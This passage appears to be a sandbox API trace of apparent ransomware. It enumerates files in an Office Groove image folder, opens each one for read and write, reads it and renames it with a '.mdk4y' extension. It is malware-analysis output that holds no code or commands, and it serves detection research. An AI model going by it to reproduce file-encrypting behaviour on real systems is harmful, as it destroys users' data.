| out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x307, lpOverlapped=0x0) returned 1 [0214.343] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828957300000) returned 1 [0214.343] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828957300000) returned 1 [0214.344] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDisableUpArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierdisableuparrow.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDisableUpArrow.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierdisableuparrow.jpg.mdk4y")) returned 1 [0214.345] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0214.345] AreFileApisANSI () returned 1 [0214.345] GetACP () returned 0x4e4 [0214.345] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NotifierDownArrow.jpg", cchWideChar=21, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NotifierDownArrow.jpgw.jpg", lpUsedDefaultChar=0x37dec0) returned 21 [0214.345] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDownArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierdownarrow.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0214.346] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828957600000) returned 1 [0214.346] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x368, lpOverlapped=0x0) returned 1 [0214.351] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828958100000) returned 1 [0214.351] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828958100000) returned 1 [0214.352] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDownArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierdownarrow.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDownArrow.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierdownarrow.jpg.mdk4y")) returned 1 [0214.353] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0214.353] AreFileApisANSI () returned 1 [0214.353] GetACP () returned 0x4e4 [0214.353] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NotifierUpArrow.jpg", cchWideChar=19, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NotifierUpArrow.jpgpg", lpUsedDefaultChar=0x37dec0) returned 19 [0214.353] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierUpArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifieruparrow.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0214.354] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828958400000) returned 1 [0214.354] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x3c0, lpOverlapped=0x0) returned 1 [0214.388] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828961800000) returned 1 [0214.388] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828961800000) returned 1 [0214.388] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierUpArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifieruparrow.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierUpArrow.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifieruparrow.jpg.mdk4y")) returned 1 [0214.390] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0214.390] AreFileApisANSI () returned 1 [0214.390] GetACP () returned 0x4e4 [0214.390] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NotifierWindowMask.bmp", cchWideChar=22, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NotifierWindowMask.bmp.jpg", lpUsedDefaultChar=0x37dec0) returned 22 [0214.391] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierWindowMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierwindowmask.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0214.393] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828962300000) returned 1 [0214.393] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x133a, lpOverlapped=0x0) returned 1 [0214.398] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828962800000) returned 1 [0214.398] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828962800000) returned 1 [0214.398] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierWindowMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierwindowmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierWindowMask.bmp.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierwindowmask.bmp.mdk4y")) returned 1 [0214.399] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0214.399] AreFileApisANSI () returned 1 [0214.399] GetACP () returned 0x4e4 [0214.399] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NotifierWindowMaskRTL.bmp", cchWideChar=25, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NotifierWindowMaskRTL.bmpg", lpUsedDefaultChar=0x37dec0) returned 25 [0214.399] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierWindowMaskRTL.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierwindowmaskrtl.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0214.403] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828963300000) returned 1 [0214.403] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x133a, lpOverlapped=0x0) returned 1 [0214.410] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828964000000) returned 1 [0214.410] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828964000000) returned 1 [0214.410] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierWindowMaskRTL.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierwindowmaskrtl.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierWindowMaskRTL.bmp.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierwindowmaskrtl.bmp.mdk4y")) returned 1 [0214.411] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0214.411] AreFileApisANSI () returned 1 [0214.411] GetACP () returned 0x4e4 [0214.411] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OutlineToolIconImages.jpg", cchWideChar=25, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="OutlineToolIconImages.jpg", lpUsedDefaultChar=0x37dec0) returned 25 [0214.411] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutlineToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\outlinetooliconimages.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0214.412] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828964300000) returned 1 [0214.413] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1e35, lpOverlapped=0x0) returned 1 [0214.418] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828964800000) returned 1 [0214.418] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828964800000) returned 1 [0214.418] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutlineToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\outlinetooliconimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutlineToolIconImages.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\outlinetooliconimages.jpg.mdk4y")) returned 1 [0214.419] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0214.419] AreFileApisANSI () returned 1 [0214.419] GetACP () returned 0x4e4 [0214.419] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OutlineToolIconImagesMask.bmp", cchWideChar=29, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="OutlineToolIconImagesMask.bmpbmp", lpUsedDefaultChar=0x37dec0) returned 29 [0214.419] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutlineToolIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\outlinetooliconimagesmask.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0214.420] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828965000000) returned 1 [0214.420] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1938, lpOverlapped=0x0) returned 1 [0214.425] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828965500000) returned 1 [0214.425] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828965500000) returned 1 [0214.425] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutlineToolIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\outlinetooliconimagesmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutlineToolIconImagesMask.bmp.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\outlinetooliconimagesmask.bmp.mdk4y")) returned 1 [0214.426] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0214.426] AreFileApisANSI () returned 1 [0214.426] GetACP () returned 0x4e4 [0214.426] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OutofSyncIconImages.jpg", cchWideChar=23, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="OutofSyncIconImages.jpgsk.bmp", lpUsedDefaultChar=0x37dec0) returned 23 [0214.426] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutofSyncIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\outofsynciconimages.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0214.427] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828965700000) returned 1 [0214.427] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xf8d, lpOverlapped=0x0) returned 1 [0214.436] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828966600000) returned 1 [0214.436] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828966600000) returned 1 [0214.437] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutofSyncIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\outofsynciconimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutofSyncIconImages.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\outofsynciconimages.jpg.mdk4y")) returned 1 [0214.438] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0214.438] AreFileApisANSI () returned 1 [0214.438] GetACP () returned 0x4e4 [0214.438] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OutofSyncIconImagesMask.bmp", cchWideChar=27, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="OutofSyncIconImagesMask.bmpmp", lpUsedDefaultChar=0x37dec0) returned 27 [0214.438] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutofSyncIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\outofsynciconimagesmask.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0214.439] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828966900000) returned 1 [0214.439] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xc0, lpOverlapped=0x0) returned 1 [0214.440] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828967000000) returned 1 [0214.440] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828967000000) returned 1 [0214.440] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutofSyncIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\outofsynciconimagesmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutofSyncIconImagesMask.bmp.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\outofsynciconimagesmask.bmp.mdk4y")) returned 1 [0214.483] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0214.483] AreFileApisANSI () returned 1 [0214.483] GetACP () returned 0x4e4 [0214.483] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PicturesToolIconImages.jpg", cchWideChar=26, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PicturesToolIconImages.jpgp", lpUsedDefaultChar=0x37dec0) returned 26 [0214.484] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\PicturesToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\picturestooliconimages.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0214.485] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828971500000) returned 1 [0214.485] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x5203, lpOverlapped=0x0) returned 1 [0214.494] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828972400000) returned 1 [0214.494] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828972400000) returned 1 [0214.494] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\PicturesToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\picturestooliconimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\PicturesToolIconImages.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\picturestooliconimages.jpg.mdk4y")) returned 1 [0214.497] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0214.497] AreFileApisANSI () returned 1 [0214.497] GetACP () returned 0x4e4 [0214.497] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PicturesToolIconImagesMask.bmp", cchWideChar=30, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PicturesToolIconImagesMask.bmpmp", lpUsedDefaultChar=0x37dec0) returned 30 [0214.497] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\PicturesToolIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\picturestooliconimagesmask.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0214.498] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828972800000) returned 1 [0214.498] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1238, lpOverlapped=0x0) returned 1 [0214.510] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828974000000) returned 1 [0214.510] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828974000000) returned 1 [0214.511] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\PicturesToolIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\picturestooliconimagesmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\PicturesToolIconImagesMask.bmp.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\picturestooliconimagesmask.bmp.mdk4y")) returned 1 [0214.512] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0214.513] AreFileApisANSI () returned 1 [0214.513] GetACP () returned 0x4e4 [0214.513] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="QuestionIcon.jpg", cchWideChar=16, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="QuestionIcon.jpgImagesMask.bmp", lpUsedDefaultChar=0x37dec0) returned 16 [0214.513] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\QuestionIcon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\questionicon.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0214.514] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828974400000) returned 1 [0214.514] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xc1b, lpOverlapped=0x0) returned 1 [0214.528] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828975800000) returned 1 [0214.528] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828975800000) returned 1 [0214.529] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\QuestionIcon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\questionicon.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\QuestionIcon.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\questionicon.jpg.mdk4y")) returned 1 [0214.531] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0214.531] AreFileApisANSI () returned 1 [0214.531] GetACP () returned 0x4e4 [0214.531] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="QuestionIconMask.bmp", cchWideChar=20, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="QuestionIconMask.bmpesMask.bmp", lpUsedDefaultChar=0x37dec0) returned 20 [0214.531] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\QuestionIconMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\questioniconmask.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0214.532] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828976200000) returned 1 [0214.532] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x838, lpOverlapped=0x0) returned 1 [0214.562] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828979200000) returned 1 [0214.562] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828979200000) returned 1 [0214.562] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\QuestionIconMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\questioniconmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\QuestionIconMask.bmp.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\questioniconmask.bmp.mdk4y")) returned 1 [0214.563] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0214.563] AreFileApisANSI () returned 1 [0214.563] GetACP () returned 0x4e4 [0214.563] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Shared16x16Images.jpg", cchWideChar=21, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Shared16x16Images.jpgsMask.bmp", lpUsedDefaultChar=0x37dec0) returned 21 [0214.563] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared16x16Images.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\shared16x16images.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0214.565] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828979500000) returned 1 [0214.565] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x64fa, lpOverlapped=0x0) returned 1 [0214.604] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828983400000) returned 1 [0214.604] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828983400000) returned 1 [0214.605] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared16x16Images.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\shared16x16images.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared16x16Images.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\shared16x16images.jpg.mdk4y")) returned 1 [0214.608] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: 